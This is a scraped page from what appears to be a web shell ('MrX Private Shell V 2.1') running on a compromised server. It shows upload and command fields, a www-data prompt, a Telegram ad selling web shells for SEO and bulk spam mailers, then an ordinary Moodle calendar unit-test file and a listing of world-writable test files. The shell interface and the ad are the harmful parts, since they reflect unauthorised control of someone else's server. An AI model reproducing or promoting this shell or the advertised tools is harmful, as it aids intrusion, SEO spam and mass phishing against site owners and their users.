__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Repeat event collection tests.
 *
 * @package    core_calendar
 * @copyright  2017 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_calendar;

use core_calendar\local\event\entities\event;
use core_calendar\local\event\entities\repeat_event_collection;
use core_calendar\local\event\proxies\coursecat_proxy;
use core_calendar\local\event\proxies\std_proxy;
use core_calendar\local\event\value_objects\event_description;
use core_calendar\local\event\value_objects\event_times;
use core_calendar\local\event\factories\event_factory_interface;

defined('MOODLE_INTERNAL') || die();

global $CFG;

require_once($CFG->dirroot . '/calendar/lib.php');

/**
 * Repeat event collection tests.
 *
 * @package core_calendar
 * @copyright 2017 Ryan Wyllie <ryan@moodle.com>
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class repeat_event_collection_test extends \advanced_testcase {
    /**
     * Test that the collection id is set to the parent id if the repeat id
     * is falsey.
     */
    public function test_parent_id_no_repeat_id(): void {
        $this->resetAfterTest(true);
        $dbrow = (object) [
            'id' => 123122131,
            'repeatid' => null
        ];
        $factory = new core_calendar_repeat_event_collection_event_test_factory();
        $collection = new repeat_event_collection($dbrow, $factory);

        $this->assertEquals($dbrow->id, $collection->get_id());
    }

    /**
     * Test that the repeat id is set to the parent id if the repeat id
     * is not falsey (even if the parent id is provided).
     */
    public function test_parent_id_and_repeat_id(): void {
        $this->resetAfterTest(true);
        $dbrow = (object) [
            'id' => 123122131,
            'repeatid' => 5647839
        ];
        $factory = new core_calendar_repeat_event_collection_event_test_factory();
        $collection = new repeat_event_collection($dbrow, $factory);

        $this->assertEquals($dbrow->repeatid, $collection->get_id());
    }

    /**
     * Test that an empty collection is valid.
     */
    public function test_empty_collection(): void {
        $this->resetAfterTest(true);
        $this->setAdminUser();

        $event = $this->create_event([
            // This causes the code to set the repeat id on this record
            // but not create any repeat event records.
            'repeat' => 1,
            'repeats' => 0
        ]);
        $dbrow = (object) [
            'id' => $event->id,
            'repeatid' => null
        ];
        $factory = new core_calendar_repeat_event_collection_event_test_factory();

        // Event collection with no repeats.
        $collection = new repeat_event_collection($dbrow, $factory);

        $this->assertEquals($event->id, $collection->get_id());
        $this->assertEquals(0, $collection->get_num());
        $this->assertNull($collection->getIterator()->next());
    }

    /**
     * Test that a collection with values behaves correctly.
     */
    public function test_values_collection(): void {
        $this->resetAfterTest(true);
        $this->setAdminUser();

        $factory = new core_calendar_repeat_event_collection_event_test_factory();
        $event = $this->create_event([
            // This causes the code to set the repeat id on this record
            // but not create any repeat event records.
            'repeat' => 1,
            'repeats' => 0
        ]);
        $parentid = $event->id;
        $dbrow = (object) [
            'id' => $parentid,
            'repeatid' => null
        ];
        $repeats = [];

        for ($i = 1; $i < 4; $i++) {
            $record = $this->create_event([
                'name' => sprintf('repeat %d', $i),
                'repeatid' => $parentid
            ]);

            // Index by name so that we don't have to rely on sorting
            // when doing the comparison later.
            $repeats[$record->name] = $record;
        }

        // Event collection with no repeats.
        $collection = new repeat_event_collection($dbrow, $factory);

        $this->assertEquals($parentid, $collection->get_id());
        $this->assertEquals(count($repeats), $collection->get_num());

        foreach ($collection as $index => $event) {
            $name = $event->get_name();
            $this->assertEquals($repeats[$name]->name, $name);
        }
    }

    /**
     * Helper function to create calendar events using the old code.
     *
     * @param array $properties A list of calendar event properties to set
     * @return calendar_event
     */
    protected function create_event($properties = []) {
        $record = new \stdClass();
        $record->name = 'event name';
        $record->eventtype = 'site';
        $record->repeat = 0;
        $record->repeats = 0;
        $record->timestart = time();
        $record->timeduration = 0;
        $record->timesort = 0;
        $record->type = 1;
        $record->courseid = 0;
        $record->categoryid = 0;

        foreach ($properties as $name => $value) {
            $record->$name = $value;
        }

        $event = new \calendar_event($record);
        return $event->create($record, false);
    }
}

/**
 * Test event factory.
 *
 * @copyright 2017 Ryan Wyllie <ryan@moodle.com>
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class core_calendar_repeat_event_collection_event_test_factory implements event_factory_interface {

    public function create_instance(\stdClass $dbrow) {
        $identity = function($id) {
            return $id;
        };
        return new event(
            $dbrow->id,
            $dbrow->name,
            new event_description($dbrow->description, $dbrow->format),
            new coursecat_proxy($dbrow->categoryid),
            new std_proxy($dbrow->courseid, $identity),
            new std_proxy($dbrow->groupid, $identity),
            new std_proxy($dbrow->userid, $identity),
            $dbrow->repeatid ? new repeat_event_collection($dbrow, $this) : null,
            new std_proxy($dbrow->instance, $identity),
            $dbrow->type,
            new event_times(
                (new \DateTimeImmutable())->setTimestamp($dbrow->timestart),
                (new \DateTimeImmutable())->setTimestamp($dbrow->timestart + $dbrow->timeduration),
                (new \DateTimeImmutable())->setTimestamp($dbrow->timesort ? $dbrow->timesort : $dbrow->timestart),
                (new \DateTimeImmutable())->setTimestamp($dbrow->timemodified),
                (new \DateTimeImmutable())->setTimestamp(usergetmidnight($dbrow->timesort))
            ),
            !empty($dbrow->visible),
            new std_proxy($dbrow->subscriptionid, $identity),
            $dbrow->location,
            $dbrow->component
        );
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
event Folder 0777
fixtures Folder 0777
privacy Folder 0777
action_event_test.php File 5.45 KB 0777
action_factory_test.php File 1.37 KB 0777
action_test.php File 2.43 KB 0777
calendar_event_exporter_test.php File 10.68 KB 0777
calendar_information_test.php File 49.2 KB 0777
calendartype_test.php File 12.65 KB 0777
calendartype_test_example.php File 9.3 KB 0777
cm_info_proxy_test.php File 1.86 KB 0777
container_test.php File 23.64 KB 0777
coursecat_proxy_test.php File 2.09 KB 0777
event_description_test.php File 2.03 KB 0777
event_factory_test.php File 15.75 KB 0777
event_mapper_test.php File 13 KB 0777
event_test.php File 4.97 KB 0777
event_times_test.php File 2.99 KB 0777
event_vault_test.php File 46.65 KB 0777
events_related_objects_cache_test.php File 5.19 KB 0777
externallib_test.php File 141.49 KB 0777
helpers.php File 8.33 KB 0777
lib_test.php File 50.92 KB 0777
local_api_test.php File 65.14 KB 0777
raw_event_retrieval_strategy_test.php File 16.69 KB 0777
repeat_event_collection_test.php File 7.39 KB 0777
rrule_manager_test.php File 115.8 KB 0777
std_proxy_test.php File 4.57 KB 0777
Filemanager